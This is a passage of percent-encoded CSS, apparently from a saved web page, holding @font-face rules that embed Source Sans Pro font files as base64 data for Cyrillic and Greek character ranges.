%36%36%25%34%32%25%33%33%25%35%30%25%36%64%25%34%31%25%33%36%25%37%32%25%34%66%25%34%38%25%35%38%25%36%62%25%36%37%25%34%64%25%33%38%25%35%61%25%35%37%25%37%30%25%35%39%25%35%34%25%35%32%25%34%37%25%36%35%25%35%32%25%33%35%25%37%61%25%36%62%25%37%30%25%37%39%25%34%36%25%33%30%25%33%34%25%36%33%25%37%61%25%36%31%25%36%32%25%34%64%25%34%39%25%35%38%25%33%35%25%37%31%25%33%34%25%37%61%25%35%34%25%36%38%25%35%31%25%35%37%25%35%39%25%33%38%25%34%31%25%33%30%25%35%30%25%36%39%25%36%38%25%37%61%25%35%38%25%35%37%25%37%32%25%37%61%25%36%37%25%34%37%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%30%25%33%34%25%33%30%25%33%30%25%32%64%25%33%30%25%33%34%25%33%35%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%34%25%33%39%25%33%30%25%32%64%25%33%30%25%33%34%25%33%39%25%33%31%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%34%25%34%32%25%33%30%25%32%64%25%33%30%25%33%34%25%34%32%25%33%31%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%31%25%33%31%25%33%36%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%36%37%25%37%32%25%36%35%25%36%35%25%36%62%25%32%64%25%36%35%25%37%38%25%37%34%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%34%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%33%33%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%37%31%25%34%65%25%34%62%25%33%37%25%36%63%25%37%31%25%34%34%25%35%39%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%32%25%37%61%25%35%31%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%35%25%33%34%25%37%37%25%34%31%25%34%31%25%34%32%25%37%38%25%37%37%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%61%25%35%31%25%36%32%25%36%38%25%36%64%25%34%39%25%36%33%25%34%65%25%36%37%25%35%61%25%36%37%25%34%31%25%34%39%25%33%34%25%33%30%25%34%33%25%34%33%25%36%66%25%34%61%25%36%37%25%36%65%25%34%64%25%35%32%25%34%33%25%34%31%25%37%32%25%36%37%25%34%64%25%34%65%25%36%34%25%33%36%25%34%33%25%33%34%25%35%31%25%33%34%25%34%31%25%34%31%25%34%35%25%33%32%25%34%31%25%36%39%25%35%31%25%34%34%25%36%39%25%34%35%25%35%31%25%34%35%25%34%39%25%34%31%25%35%37%25%34%36%25%34%64%25%36%37%25%36%35%25%35%37%25%34%63%25%35%31%25%37%38%25%35%37%25%34%37%25%32%66%25%34%36%25%34%63%25%34%32%25%33%39%25%36%37%25%33%32%25%37%32%25%35%37%25%35%30%25%35%31%25%34%38%25%35%38%25%34%33%25%34%36%25%33%36%25%37%34%25%35%39%25%32%66%25%37%30%25%33%32%25%34%33%25%33%36%25%37%35%25%35%32%25%34%66%25%33%35%25%34%38%25%35%39%25%36%64%25%36%62%25%33%39%25%36%39%25%37%61%25%34%39%25%32%66%25%37%36%25%33%39%25%35%30%25%35%33%25%34%35%25%33%37%25%34%37%25%36%62%25%34%61%25%34%37%25%34%38%25%37%32%25%36%34%25%35%34%25%35%35%25%32%66%25%37%38%25%34%33%25%37%61%25%35%31%25%36%37%25%37%30%25%35%33%25%36%66%25%37%33%25%34%63%25%33%39%25%35%30%25%34%39%25%35%35%25%34%62%25%34%33%25%35%32%25%34%65%25%33%33%25%35%61%25%34%37%25%34%62%25%33%34%25%34%66%25%36%39%25%36%66%25%34%39%25%36%65%25%37%35%25%36%37%25%33%33%25%33%31%25%36%33%25%35%32%25%34%63%25%33%35%25%36%62%25%37%31%25%33%32%25%37%39%25%33%31%25%36%33%25%33%33%25%35%32%25%34%32%25%33%37%25%35%39%25%34%63%25%34%33%25%34%36%25%32%62%25%37%33%25%34%64%25%34%62%25%36%35%25%35%35%25%33%30%25%33%35%25%37%31%25%34%61%25%37%35%25%36%61%25%35%34%25%34%38%25%37%33%25%37%35%25%34%33%25%36%66%25%34%38%25%34%32%25%34%39%25%32%62%25%35%35%25%34%61%25%35%33%25%34%65%25%33%31%25%33%36%25%36%66%25%35%37%25%37%36%25%36%38%25%34%37%25%36%34%25%36%36%25%34%38%25%35%33%25%37%31%25%33%30%25%37%35%25%34%37%25%34%61%25%34%39%25%35%36%25%36%61%25%35%31%25%36%34%25%35%36%25%36%62%25%34%63%25%34%62%25%37%30%25%36%36%25%35%30%25%37%39%25%35%34%25%37%61%25%35%61%25%36%36%25%33%35%25%36%36%25%35%30%25%35%31%25%33%31%25%35%37%25%36%62%25%33%36%25%33%31%25%33%39%25%36%64%25%37%34%25%37%61%25%37%34%25%36%36%25%33%31%25%35%33%25%34%34%25%36%61%25%34%39%25%34%38%25%33%36%25%37%37%25%34%64%25%34%66%25%33%32%25%37%33%25%34%32%25%35%36%25%34%63%25%36%38%25%32%66%25%33%31%25%34%36%25%37%36%25%37%38%25%33%31%25%37%31%25%35%30%25%34%35%25%34%62%25%35%33%25%35%37%25%36%31%25%34%61%25%36%37%25%34%34%25%35%38%25%35%32%25%37%35%25%33%37%25%33%34%25%34%65%25%35%39%25%34%31%25%35%30%25%36%39%25%35%33%25%34%61%25%34%35%25%35%32%25%35%38%25%35%39%25%36%31%25%34%61%25%34%63%25%35%32%25%37%34%25%35%33%25%36%66%25%34%61%25%34%62%25%37%30%25%34%33%25%34%32%25%36%63%25%33%31%25%34%61%25%36%64%25%34%63%25%36%37%25%34%33%25%34%38%25%37%37%25%35%33%25%34%35%25%36%64%25%33%39%25%33%35%25%32%66%25%34%32%25%34%32%25%34%61%25%34%39%25%34%33%25%37%61%25%34%66%25%36%66%25%34%62%25%35%34%25%34%64%25%33%33%25%35%39%25%32%66%25%34%64%25%34%33%25%36%34%25%33%33%25%34%61%25%33%34%25%33%32%25%37%35%25%35%39%25%35%38%25%34%62%25%37%37%25%32%62%25%35%35%25%34%66%25%34%35%25%34%39%25%35%31%25%34%38%25%36%38%25%35%36%25%33%33%25%33%39%25%34%62%25%34%36%25%34%64%25%36%66%25%36%37%25%32%62%25%34%64%25%34%32%25%34%31%25%34%66%25%36%61%25%35%37%25%35%33%25%36%33%25%37%35%25%37%35%25%33%33%25%34%32%25%36%61%25%36%62%25%36%36%25%33%30%25%37%61%25%33%33%25%36%34%25%35%61%25%33%30%25%34%64%25%35%32%25%34%61%25%33%32%25%32%66%25%37%31%25%37%30%25%35%61%25%36%62%25%37%33%25%37%31%25%37%30%25%35%37%25%34%33%25%37%35%25%35%33%25%37%33%25%35%61%25%35%39%25%37%37%25%33%37%25%33%31%25%35%34%25%37%31%25%33%38%25%36%62%25%35%36%25%37%32%25%34%32%25%37%34%25%33%33%25%36%34%25%36%34%25%33%34%25%34%31%25%35%38%25%33%36%25%35%30%25%33%39%25%36%32%25%35%37%25%33%33%25%36%61%25%36%66%25%36%63%25%34%62%25%37%37%25%36%63%25%36%62%25%36%35%25%36%37%25%36%64%25%37%39%25%35%32%25%37%34%25%36%62%25%35%35%25%37%31%25%35%31%25%35%34%25%33%39%25%35%38%25%35%37%25%33%31%25%34%66%25%37%37%25%36%35%25%36%36%25%34%36%25%35%61%25%33%32%25%32%66%25%33%34%25%36%37%25%34%35%25%37%37%25%34%64%25%34%64%25%33%38%25%35%37%25%34%38%25%33%39%25%37%34%25%36%32%25%36%38%25%36%65%25%36%34%25%36%66%25%37%33%25%34%31%25%33%35%25%33%35%25%33%32%25%34%63%25%36%31%25%37%61%25%34%65%25%33%35%25%35%35%25%36%64%25%35%32%25%36%38%25%35%31%25%37%35%25%35%34%25%37%34%25%35%36%25%35%32%25%35%38%25%35%36%25%35%38%25%37%38%25%36%39%25%36%35%25%35%35%25%37%36%25%36%35%25%32%62%25%32%66%25%36%38%25%37%37%25%37%37%25%37%30%25%34%38%25%35%35%25%34%65%25%34%35%25%36%35%25%34%31%25%35%35%25%34%65%25%34%36%25%36%35%25%35%30%25%34%34%25%37%37%25%36%61%25%34%64%25%35%30%25%32%62%25%34%35%25%34%32%25%37%32%25%35%34%25%33%33%25%37%30%25%32%62%25%35%31%25%36%64%25%34%31%25%34%33%25%36%63%25%34%63%25%36%31%25%34%61%25%37%34%25%36%62%25%35%39%25%36%63%25%34%62%25%35%34%25%37%34%25%35%31%25%37%30%25%34%33%25%36%35%25%36%64%25%36%33%25%37%61%25%37%35%25%36%64%25%36%33%25%37%31%25%34%38%25%36%35%25%35%38%25%36%31%25%33%37%25%36%31%25%35%61%25%36%33%25%33%35%25%37%34%25%33%35%25%34%34%25%35%35%25%34%33%25%34%62%25%35%33%25%35%32%25%36%35%25%35%33%25%35%30%25%34%62%25%34%35%25%35%33%25%37%34%25%35%38%25%37%36%25%34%33%25%34%36%25%34%34%25%34%38%25%37%34%25%34%35%25%32%66%25%34%33%25%36%63%25%37%32%25%36%66%25%35%31%25%35%31%25%35%36%25%34%61%25%36%65%25%35%35%25%37%38%25%35%30%25%36%66%25%34%36%25%35%39%25%35%36%25%36%37%25%35%39%25%37%38%25%34%65%25%36%32%25%34%38%25%35%30%25%37%36%25%34%39%25%34%32%25%37%34%25%37%34%25%33%32%25%35%38%25%36%31%25%35%35%25%34%33%25%34%31%25%34%62%25%33%34%25%34%35%25%34%64%25%35%32%25%34%63%25%36%32%25%37%38%25%34%62%25%36%66%25%33%30%25%34%31%25%32%66%25%32%66%25%33%39%25%37%34%25%37%30%25%37%35%25%33%32%25%32%66%25%34%64%25%32%66%25%37%30%25%36%65%25%35%32%25%33%38%25%33%36%25%35%39%25%35%31%25%35%35%25%34%35%25%37%33%25%36%64%25%36%63%25%36%63%25%37%31%25%34%36%25%34%33%25%33%34%25%36%31%25%35%36%25%33%32%25%36%64%25%34%62%25%35%30%25%33%31%25%33%38%25%32%66%25%33%38%25%37%32%25%37%37%25%35%61%25%36%36%25%36%35%25%32%66%25%34%64%25%37%32%25%36%62%25%34%36%25%36%37%25%36%62%25%34%39%25%36%63%25%36%63%25%37%33%25%37%61%25%35%39%25%36%62%25%37%39%25%33%30%25%34%34%25%36%33%25%36%38%25%35%34%25%37%32%25%36%39%25%36%34%25%36%33%25%37%38%25%35%36%25%36%37%25%34%34%25%37%35%25%36%62%25%36%66%25%36%62%25%33%31%25%34%38%25%35%36%25%34%33%25%35%36%25%33%31%25%36%64%25%36%39%25%34%61%25%34%65%25%36%62%25%36%32%25%35%61%25%34%62%25%36%64%25%33%35%25%34%64%25%37%31%25%35%35%25%34%65%25%35%37%25%37%37%25%33%32%25%36%32%25%33%32%25%35%30%25%37%36%25%35%36%25%35%38%25%37%61%25%33%32%25%36%31%25%36%37%25%35%35%25%35%34%25%37%30%25%36%63%25%33%33%25%33%37%25%37%35%25%37%34%25%36%63%25%36%39%25%34%64%25%36%31%25%33%39%25%35%34%25%36%37%25%34%38%25%35%31%25%35%33%25%34%39%25%35%36%25%34%38%25%36%37%25%35%35%25%34%65%25%34%39%25%33%38%25%34%31%25%36%39%25%34%36%25%34%64%25%34%37%25%36%39%25%34%35%25%33%31%25%32%66%25%34%32%25%33%38%25%36%34%25%35%33%25%34%63%25%37%36%25%33%37%25%34%66%25%37%38%25%36%33%25%37%37%25%34%37%25%34%63%25%33%36%25%34%38%25%33%31%25%36%39%25%34%64%25%34%31%25%33%32%25%36%64%25%36%38%25%34%32%25%33%31%25%37%61%25%34%31%25%36%37%25%36%38%25%35%39%25%37%31%25%33%32%25%36%61%25%34%62%25%36%32%25%36%66%25%36%32%25%36%34%25%35%35%25%36%39%25%34%38%25%37%31%25%36%34%25%35%38%25%36%35%25%36%38%25%33%38%25%36%62%25%36%61%25%36%61%25%33%33%25%36%32%25%35%35%25%36%61%25%37%35%25%34%65%25%36%35%25%37%31%25%34%35%25%36%61%25%33%30%25%36%33%25%36%34%25%34%34%25%37%31%25%34%63%25%37%31%25%36%66%25%37%36%25%36%37%25%36%39%25%34%62%25%36%66%25%36%35%25%33%32%25%34%31%25%36%35%25%36%65%25%36%39%25%37%38%25%36%64%25%37%31%25%37%34%25%33%31%25%35%36%25%33%37%25%33%31%25%36%32%25%35%35%25%36%38%25%34%66%25%34%34%25%37%61%25%34%63%25%36%35%25%34%64%25%35%37%25%36%64%25%36%63%25%34%65%25%37%35%25%37%34%25%36%61%25%36%37%25%37%33%25%34%66%25%37%36%25%37%36%25%35%37%25%37%30%25%33%35%25%36%39%25%33%31%25%37%34%25%35%32%25%37%32%25%36%61%25%34%36%25%37%61%25%34%37%25%36%39%25%35%33%25%36%61%25%35%39%25%37%32%25%35%32%25%36%37%25%37%33%25%37%33%25%34%61%25%37%39%25%36%31%25%36%36%25%36%64%25%33%37%25%32%62%25%37%30%25%36%35%25%36%66%25%37%37%25%34%38%25%35%39%25%34%31%25%35%31%25%35%35%25%36%35%25%36%39%25%34%39%25%34%35%25%36%61%25%37%35%25%34%38%25%36%33%25%36%62%25%34%38%25%34%38%25%33%36%25%36%38%25%33%38%25%33%38%25%36%66%25%36%64%25%34%62%25%36%65%25%33%35%25%32%66%25%34%62%25%34%63%25%33%37%25%32%62%25%36%66%25%34%33%25%34%63%25%34%33%25%35%36%25%33%36%25%37%32%25%37%30%25%35%34%25%36%39%25%37%61%25%33%39%25%35%39%25%33%36%25%35%35%25%34%34%25%36%66%25%36%35%25%33%38%25%32%66%25%35%34%25%34%32%25%36%38%25%34%39%25%32%66%25%34%66%25%36%62%25%33%33%25%35%38%25%36%62%25%35%30%25%35%38%25%37%61%25%33%34%25%35%37%25%35%35%25%34%38%25%34%32%25%36%31%25%36%65%25%34%31%25%34%66%25%34%31%25%37%38%25%37%39%25%37%30%25%33%33%25%34%32%25%34%62%25%37%30%25%36%61%25%37%39%25%34%31%25%36%34%25%36%38%25%32%62%25%36%33%25%36%34%25%36%38%25%34%33%25%33%36%25%36%65%25%36%37%25%34%32%25%34%36%25%37%36%25%37%61%25%33%34%25%35%36%25%34%33%25%35%32%25%36%66%25%36%65%25%34%65%25%35%39%25%33%30%25%36%65%25%34%33%25%34%62%25%35%37%25%34%33%25%37%61%25%36%33%25%35%32%25%35%30%25%35%34%25%36%39%25%33%38%25%35%32%25%36%63%25%34%36%25%35%31%25%34%32%25%37%34%25%36%61%25%34%32%25%33%38%25%34%32%25%34%35%25%35%39%25%34%31%25%34%39%25%37%61%25%34%38%25%37%31%25%37%31%25%36%61%25%34%66%25%36%62%25%34%65%25%36%62%25%32%62%25%34%39%25%32%62%25%35%39%25%36%62%25%34%36%25%35%35%25%36%63%25%36%65%25%33%34%25%35%38%25%36%62%25%36%61%25%34%33%25%37%31%25%36%35%25%34%32%25%37%39%25%34%37%25%35%33%25%36%63%25%34%39%25%36%37%25%34%65%25%34%35%25%34%32%25%36%38%25%35%35%25%35%33%25%36%39%25%33%36%25%34%62%25%34%35%25%34%33%25%36%33%25%37%36%25%37%30%25%36%32%25%34%36%25%34%35%25%33%32%25%37%30%25%35%35%25%34%36%25%33%33%25%37%32%25%34%37%25%35%31%25%37%33%25%34%63%25%36%32%25%34%33%25%35%32%25%34%63%25%34%64%25%32%62%25%33%31%25%34%63%25%34%34%25%33%34%25%36%39%25%33%32%25%36%66%25%36%31%25%35%39%25%35%37%25%34%31%25%33%35%25%36%64%25%33%37%25%37%36%25%33%32%25%37%35%25%35%38%25%33%36%25%33%30%25%36%63%25%37%35%25%34%61%25%36%35%25%33%33%25%34%32%25%36%62%25%33%38%25%34%62%25%33%32%25%36%65%25%34%35%25%37%61%25%37%30%25%37%39%25%34%34%25%36%33%25%36%36%25%35%61%25%36%35%25%35%36%25%37%36%25%35%61%25%34%62%25%33%37%25%35%37%25%35%33%25%36%62%25%33%32%25%34%34%25%34%36%25%35%36%25%33%31%25%37%61%25%35%30%25%35%37%25%36%38%25%33%34%25%34%37%25%34%65%25%35%32%25%33%30%25%34%39%25%32%66%25%34%36%25%36%34%25%37%34%25%35%38%25%36%38%25%36%33%25%33%37%25%34%38%25%37%30%25%36%31%25%35%36%25%37%30%25%37%39%25%35%30%25%34%35%25%36%36%25%33%31%25%34%36%25%35%39%25%34%61%25%35%61%25%37%61%25%36%32%25%37%33%25%34%63%25%33%34%25%35%39%25%33%33%25%37%31%25%36%63%25%36%64%25%35%30%25%34%39%25%36%62%25%33%38%25%36%38%25%37%38%25%34%64%25%33%38%25%36%61%25%35%30%25%37%35%25%36%62%25%34%63%25%36%37%25%36%63%25%34%36%25%33%30%25%36%62%25%35%31%25%34%61%25%35%61%25%34%37%25%34%33%25%35%34%25%33%33%25%33%34%25%36%64%25%34%32%25%35%32%25%35%32%25%36%65%25%35%35%25%34%35%25%34%39%25%34%61%25%34%65%25%36%62%25%37%31%25%37%31%25%37%37%25%34%35%25%36%63%25%34%36%25%37%34%25%36%35%25%36%61%25%35%35%25%33%31%25%37%30%25%35%38%25%34%37%25%35%39%25%34%62%25%34%65%25%34%39%25%35%32%25%37%30%25%37%34%25%34%62%25%35%61%25%35%61%25%37%31%25%36%63%25%34%65%25%34%61%25%35%61%25%35%61%25%37%61%25%33%38%25%33%34%25%34%37%25%32%62%25%37%61%25%36%62%25%33%34%25%33%34%25%34%32%25%35%31%25%33%37%25%33%31%25%37%61%25%33%32%25%36%39%25%33%38%25%37%34%25%36%37%25%33%37%25%33%39%25%36%39%25%34%32%25%34%32%25%34%33%25%37%39%25%36%65%25%36%36%25%34%34%25%37%35%25%36%33%25%36%62%25%35%31%25%36%39%25%35%32%25%34%61%25%36%35%25%35%32%25%35%37%25%36%66%25%33%31%25%34%66%25%35%61%25%37%35%25%35%33%25%35%32%25%33%32%25%34%65%25%34%66%25%35%37%25%36%64%25%33%37%25%37%32%25%36%34%25%34%34%25%34%65%25%34%39%25%34%34%25%37%30%25%32%66%25%33%30%25%36%38%25%36%32%25%37%33%25%36%64%25%32%62%25%36%62%25%34%35%25%34%64%25%33%31%25%34%32%25%37%39%25%34%64%25%34%38%25%34%66%25%35%39%25%35%33%25%37%32%25%34%64%25%37%33%25%36%36%25%35%37%25%33%32%25%35%61%25%37%34%25%35%31%25%37%61%25%35%37%25%35%37%25%35%35%25%33%38%25%34%63%25%36%64%25%37%61%25%35%33%25%33%33%25%34%34%25%35%35%25%33%36%25%33%37%25%35%32%25%36%37%25%32%62%25%36%35%25%37%34%25%34%33%25%36%35%25%34%65%25%36%64%25%36%32%25%36%39%25%33%36%25%34%32%25%37%32%25%35%30%25%34%62%25%36%65%25%36%66%25%37%38%25%35%30%25%37%38%25%36%64%25%36%36%25%36%61%25%36%65%25%33%32%25%35%34%25%37%36%25%37%34%25%37%61%25%35%34%25%34%36%25%35%61%25%34%32%25%37%30%25%36%62%25%36%32%25%34%37%25%37%32%25%34%34%25%35%39%25%32%66%25%37%31%25%35%30%25%36%66%25%34%32%25%37%32%25%34%62%25%35%37%25%36%65%25%34%37%25%34%39%25%35%31%25%33%31%25%34%64%25%35%35%25%35%36%25%35%61%25%34%36%25%35%33%25%34%63%25%35%31%25%37%38%25%36%36%25%36%35%25%33%38%25%32%66%25%33%39%25%35%34%25%36%38%25%33%30%25%34%62%25%35%38%25%37%37%25%35%32%25%35%32%25%32%66%25%33%38%25%37%33%25%36%36%25%34%61%25%36%37%25%34%32%25%33%39%25%37%35%25%33%39%25%37%37%25%35%38%25%36%37%25%33%31%25%36%37%25%34%35%25%33%36%25%36%64%25%35%37%25%36%64%25%37%37%25%33%38%25%35%35%25%35%35%25%37%33%25%34%31%25%34%33%25%34%35%25%37%39%25%33%36%25%33%38%25%35%38%25%37%39%25%34%37%25%34%31%25%34%62%25%37%37%25%37%31%25%37%37%25%36%66%25%36%64%25%34%32%25%35%36%25%35%36%25%33%31%25%37%36%25%32%62%25%37%35%25%36%31%25%34%33%25%37%31%25%37%31%25%35%34%25%36%34%25%34%39%25%34%32%25%34%36%25%33%33%25%36%38%25%34%32%25%35%30%25%36%39%25%36%37%25%34%37%25%33%35%25%36%31%25%34%31%25%35%33%25%35%36%25%34%39%25%34%35%25%36%31%25%34%35%25%34%31%25%35%35%25%34%38%25%35%31%25%35%31%25%37%61%25%36%33%25%34%32%25%35%35%25%32%66%25%34%32%25%36%61%25%32%62%25%34%31%25%33%33%25%33%30%25%35%30%25%33%35%25%37%34%25%36%37%25%34%63%25%36%66%25%35%32%25%37%37%25%34%31%25%36%34%25%32%62%25%35%35%25%34%31%25%35%32%25%34%62%25%35%37%25%37%36%25%37%39%25%36%64%25%34%34%25%36%66%25%37%37%25%34%36%25%36%38%25%33%38%25%34%36%25%34%36%25%33%38%25%34%31%25%34%31%25%33%38%25%34%32%25%33%37%25%32%62%25%34%31%25%35%30%25%37%37%25%35%33%25%36%35%25%37%36%25%34%38%25%35%61%25%36%36%25%33%31%25%37%61%25%34%38%25%37%31%25%37%37%25%36%61%25%37%61%25%32%62%25%34%62%25%34%64%25%32%62%25%35%33%25%37%36%25%35%36%25%37%61%25%34%35%25%37%31%25%33%36%25%36%39%25%33%32%25%37%30%25%36%35%25%35%38%25%32%66%25%33%37%25%33%39%25%33%39%25%33%35%25%35%37%25%34%33%25%35%37%25%37%32%25%37%33%25%35%35%25%36%32%25%35%38%25%33%35%25%34%36%25%37%30%25%36%32%25%34%37%25%32%62%25%34%35%25%34%63%25%33%33%25%36%36%25%35%38%25%35%33%25%35%37%25%37%38%25%33%39%25%33%39%25%33%39%25%36%34%25%34%65%25%36%36%25%36%33%25%36%39%25%36%63%25%33%34%25%36%35%25%34%39%25%35%35%25%34%39%25%34%36%25%35%33%25%36%32%25%36%33%25%35%39%25%34%35%25%34%64%25%34%64%25%34%65%25%33%38%25%34%61%25%34%39%25%36%66%25%33%30%25%35%33%25%34%61%25%34%36%25%36%39%25%36%34%25%36%35%25%36%37%25%36%62%25%35%33%25%36%61%25%36%61%25%35%34%25%34%38%25%36%35%25%34%32%25%34%32%25%34%65%25%34%65%25%34%64%25%37%34%25%36%62%25%35%35%25%35%30%25%37%31%25%36%64%25%36%63%25%36%62%25%33%31%25%33%34%25%34%37%25%34%37%25%35%37%25%35%37%25%35%33%25%33%32%25%35%34%25%35%34%25%35%34%25%37%61%25%35%34%25%34%63%25%36%32%25%34%38%25%34%38%25%35%30%25%34%65%25%34%64%25%33%31%25%33%38%25%35%37%25%35%37%25%36%35%25%35%37%25%35%31%25%35%35%25%37%39%25%33%36%25%33%35%25%33%35%25%35%61%25%34%38%25%35%38%25%34%64%25%37%33%25%37%33%25%37%36%25%36%65%25%35%36%25%36%35%25%37%34%25%35%38%25%37%32%25%34%66%25%33%32%25%34%31%25%34%38%25%36%34%25%37%39%25%35%34%25%33%39%25%34%36%25%36%39%25%37%38%25%36%33%25%37%33%25%36%34%25%34%66%25%34%38%25%36%61%25%36%62%25%33%36%25%34%63%25%34%38%25%36%61%25%34%61%25%33%30%25%33%35%25%35%37%25%37%32%25%34%36%25%35%33%25%33%31%25%35%37%25%37%36%25%35%35%25%36%31%25%34%65%25%35%37%25%37%36%25%33%31%25%33%36%25%34%34%25%36%63%25%33%30%25%33%32%25%34%65%25%36%38%25%37%38%25%34%64%25%33%32%25%36%31%25%37%35%25%35%37%25%34%63%25%36%63%25%37%30%25%33%38%25%33%36%25%34%38%25%34%34%25%35%61%25%33%38%25%33%35%25%36%35%25%37%35%25%34%38%25%36%61%25%37%30%25%33%38%25%37%30%25%35%37%25%37%32%25%36%34%25%36%35%25%37%32%25%35%37%25%37%31%25%33%39%25%32%62%25%36%37%25%35%39%25%36%31%25%35%30%25%34%37%25%34%65%25%33%32%25%33%37%25%36%35%25%37%35%25%35%38%25%37%36%25%37%36%25%32%66%25%36%66%25%34%66%25%34%38%25%35%34%25%35%61%25%37%33%25%33%31%25%36%32%25%33%39%25%34%37%25%37%39%25%35%36%25%36%35%25%37%33%25%33%32%25%35%34%25%33%35%25%33%36%25%32%62%25%36%35%25%35%30%25%36%65%25%37%31%25%33%39%25%35%61%25%37%35%25%33%33%25%33%37%25%36%34%25%37%30%25%33%33%25%33%36%25%34%65%25%36%39%25%37%30%25%36%33%25%33%35%25%36%35%25%37%35%25%34%31%25%37%37%25%36%31%25%36%35%25%34%66%25%33%33%25%33%31%25%32%62%25%33%30%25%34%63%25%35%35%25%34%39%25%34%63%25%37%35%25%35%31%25%34%31%25%34%32%25%33%33%25%36%65%25%33%35%25%33%34%25%33%34%25%36%34%25%35%30%25%37%36%25%32%66%25%32%66%25%36%34%25%37%35%25%36%65%25%33%35%25%33%37%25%33%36%25%37%31%25%34%64%25%35%39%25%34%63%25%37%35%25%35%35%25%36%31%25%37%32%25%37%35%25%35%37%25%36%34%25%36%32%25%32%66%25%33%36%25%36%36%25%34%33%25%37%38%25%35%39%25%37%35%25%35%38%25%37%32%25%34%61%25%36%66%25%36%31%25%35%34%25%33%35%25%37%35%25%33%35%25%33%31%25%35%61%25%37%35%25%33%34%25%33%39%25%36%33%25%36%36%25%37%36%25%33%33%25%36%32%25%37%36%25%33%32%25%36%32%25%37%34%25%37%36%25%33%33%25%36%36%25%37%30%25%36%34%25%32%62%25%33%38%25%37%34%25%35%38%25%34%62%25%34%36%25%35%37%25%33%36%25%37%38%25%34%61%25%32%62%25%32%66%25%35%38%25%33%35%25%33%34%25%33%39%25%36%36%25%36%65%25%33%37%25%37%31%25%35%38%25%35%33%25%34%38%25%37%35%25%37%32%25%36%63%25%37%39%25%36%63%25%33%37%25%36%34%25%36%36%25%35%30%25%35%34%25%36%39%25%34%32%25%33%34%25%34%66%25%37%37%25%34%33%25%33%30%25%34%39%25%33%31%25%34%34%25%35%31%25%36%38%25%35%36%25%34%39%25%36%32%25%36%36%25%35%37%25%36%61%25%35%38%25%34%39%25%34%31%25%35%33%25%36%31%25%34%32%25%36%38%25%34%64%25%34%32%25%35%38%25%35%38%25%35%32%25%36%61%25%34%33%25%34%61%25%34%64%25%37%38%25%34%61%25%36%33%25%36%32%25%35%31%25%37%39%25%37%38%25%34%31%25%34%39%25%35%31%25%37%38%25%36%64%25%34%32%25%35%37%25%34%32%25%36%61%25%34%65%25%34%37%25%34%35%25%37%38%25%36%38%25%34%63%25%34%38%25%33%32%25%35%39%25%37%37%25%33%39%25%35%32%25%34%64%25%36%37%25%33%30%25%35%33%25%35%39%25%36%63%25%37%30%25